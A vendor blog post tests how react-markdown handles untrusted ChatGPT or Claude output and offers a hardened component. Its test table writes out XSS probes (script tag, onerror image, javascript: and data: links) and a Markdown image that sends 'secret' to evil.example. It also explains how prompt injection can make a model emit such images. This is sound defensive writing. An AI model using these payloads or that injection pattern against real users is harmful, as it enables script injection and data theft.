TexToolsAI

Is react-markdown Safe for ChatGPT and Claude Output?

By VeloForge Labs · · 6 min read

Quick answer: Mostly, yes. react-markdown builds React elements without dangerouslySetInnerHTML, escapes raw HTML and blanks javascript: links by default. Two gaps matter for LLM output: remote images load with no click, and adding rehype-raw turns HTML back on. Filter image hosts, and add rehype-sanitize after rehype-raw.

TL;DR: We rendered six risky inputs through react-markdown 10.1.0 with React 19.3.1, in five setups. The defaults stopped scripts and javascript: links. No setup blocked a remote image. Below are the results and a small component that we tested for ChatGPT or Claude answers.

Why is LLM output a special case?

Text from a model is untrusted input. A prompt injection hidden in a web page, a file or an earlier message can make the model write Markdown that you did not expect. The OWASP Top 10 for LLM Applications lists this as "Improper Output Handling" and names XSS as one result. So treat a chatbot answer the way you treat a comment from a stranger. For the general risks, see how to render LLM Markdown output safely.

What does react-markdown do by default?

The react-markdown README says use of the library "is secure by default". It turns Markdown into React elements instead of an HTML string, so it never needs dangerouslySetInnerHTML. It says it "typically escapes HTML (or ignores it, with skipHtml)". Links and images pass through urlTransform, and the default, defaultUrlTransform, keeps only safe protocols. In the version we tested, those are http, https, irc, ircs, mailto and xmpp, plus relative URLs.

The same README warns that a custom urlTransform, and the plugins and components you add, "may be insecure". It recommends rehype-sanitize "to make sure the content is completely safe, even after what plugins do".

What we tested

We rendered each input to static HTML with renderToStaticMarkup from react-dom/server. The five setups were: the defaults, the defaults plus remark-gfm 4.0.1, rehype-raw 7.0.0 on its own, rehype-raw followed by rehype-sanitize 6.0.0, and skipHtml.

Input Default (and with remark-gfm) rehype-raw only rehype-raw + rehype-sanitize skipHtml
hi <script>alert(1)</script> escaped, shown as text live <script> tag in the HTML removed tag removed, text alert(1) kept
<img src=x onerror="alert(1)"> escaped, shown as text <img src="x"> <img src="x"> removed
[click](javascript:alert(1)) href="" href="" no href href=""
[d](data:text/html;base64,...) href="" href="" no href href=""
![x](https://evil.example/p.png?q=secret) image kept image kept image kept image kept
A GFM table table only with remark-gfm paragraph paragraph paragraph

What this shows:

  1. The defaults handled script and links well. HTML came out as visible text, and both dangerous link types lost their address.
  2. rehype-raw without a sanitizer is the dangerous setup. On the server, the output held a real <script> tag. Server-rendered HTML is parsed by the browser like any other page, so do not ship this setup with model output.
  3. Every setup kept the remote image. React 19 also added a <link rel="preload" as="image"> for it in our output. A browser loads an image without any click, and the address can carry data to someone else's server, such as text the model was tricked into putting in the query string. Sanitizers allow images by design, so this is a policy choice you have to make yourself.
  4. Tables need remark-gfm. Without it, a table stays a paragraph of pipes. If tables still break with it, see how to fix broken Markdown tables in LLM output.

A safe setup for chatbot answers

This component keeps react-markdown's defaults, adds GFM, allows images only from hosts you list, and opens links in a new tab. We ran it on the same inputs.

import Markdown, { defaultUrlTransform, type Components, type UrlTransform } from "react-markdown";
import remarkGfm from "remark-gfm";

const ALLOWED_IMAGE_HOSTS = new Set(["images.example.com"]);

// Keep the default protocol check, then allow images only from known https hosts.
const urlTransform: UrlTransform = (url, key, node) => {
  const safe = defaultUrlTransform(url);
  if (node.tagName === "img" && key === "src") {
    try {
      const u = new URL(safe);
      return u.protocol === "https:" && ALLOWED_IMAGE_HOSTS.has(u.hostname) ? safe : null;
    } catch {
      return null; // relative or invalid URL
    }
  }
  return safe;
};

const components: Components = {
  a: ({ node, ...props }) => <a {...props} target="_blank" rel="noopener noreferrer nofollow" />,
  img: ({ node, src, alt }) =>
    src ? <img src={src} alt={alt ?? ""} /> : <span>{alt ? `[image: ${alt}]` : "[image removed]"}</span>,
};

export function ChatAnswer({ text }: { text: string }) {
  return (
    <Markdown remarkPlugins={[remarkGfm]} urlTransform={urlTransform} components={components}>
      {text}
    </Markdown>
  );
}

Results with this setup:

  • hi <script>alert(1)</script>: shown as escaped text.
  • [click](javascript:alert(1)): a link with href="".
  • ![x](https://evil.example/p.png?q=secret): replaced by the text [image: x]. No <img>, no preload.
  • An image from images.example.com: rendered as an image.
  • [docs](https://example.com/docs): a normal link with target="_blank" and rel="noopener noreferrer nofollow".
  • A GFM table: rendered as a table.

If you do not need images at all, you can simply drop them with disallowedElements={["img"]}.

On rel: MDN explains that noopener stops the new page from reaching your page through window.opener. Modern browsers already apply this to target="_blank", so setting it is a cheap extra. nofollow tells search engines that you do not vouch for links a model wrote.

When you really need raw HTML

Some apps let the model write <details> or <kbd>. If you turn on rehype-raw, put rehype-sanitize after it, so it runs on the final tree:

import rehypeRaw from "rehype-raw";
import rehypeSanitize from "rehype-sanitize";

<Markdown remarkPlugins={[remarkGfm]} rehypePlugins={[rehypeRaw, rehypeSanitize]} urlTransform={urlTransform} components={components}>
  {text}
</Markdown>

The rehype-sanitize docs say its default schema follows GitHub's style of sanitizing, and you can extend it. In our test it removed the script and the href of javascript: links. It still kept the remote image, so keep the image filter above.

Streaming answers

react-markdown is a normal component, so you can pass it the text received so far on each chunk. Each render runs the full pipeline on the full string, so a half-written link is handled the same way as a finished one. For the Next.js side, see preventing XSS in streaming LLM output in Next.js.

Frequently asked questions

Is react-markdown safe without rehype-sanitize?

With its defaults and no rehype-raw, our test found scripts escaped and javascript: links blanked. The README still recommends rehype-sanitize once you add plugins or a custom urlTransform, because those can undo the defaults.

Should I use rehype-raw for ChatGPT or Claude output?

Avoid it unless you need HTML tags. In our test, rehype-raw without a sanitizer let a <script> tag into server-rendered HTML. If you need it, add rehype-sanitize after it.

Why block remote images in LLM output?

A browser loads an image as soon as it renders, with no click. An image address can carry data in its query string to any server, so allow only hosts you trust, or show the alt text instead.

Can I sanitize on the server instead?

Yes. Convert and sanitize on the server, store the HTML, and render it. The TexToolsAI API returns sanitized HTML from one POST request. Try it in the playground, read the docs, or see pricing for API keys. Server-side options are compared in DOMPurify alternatives.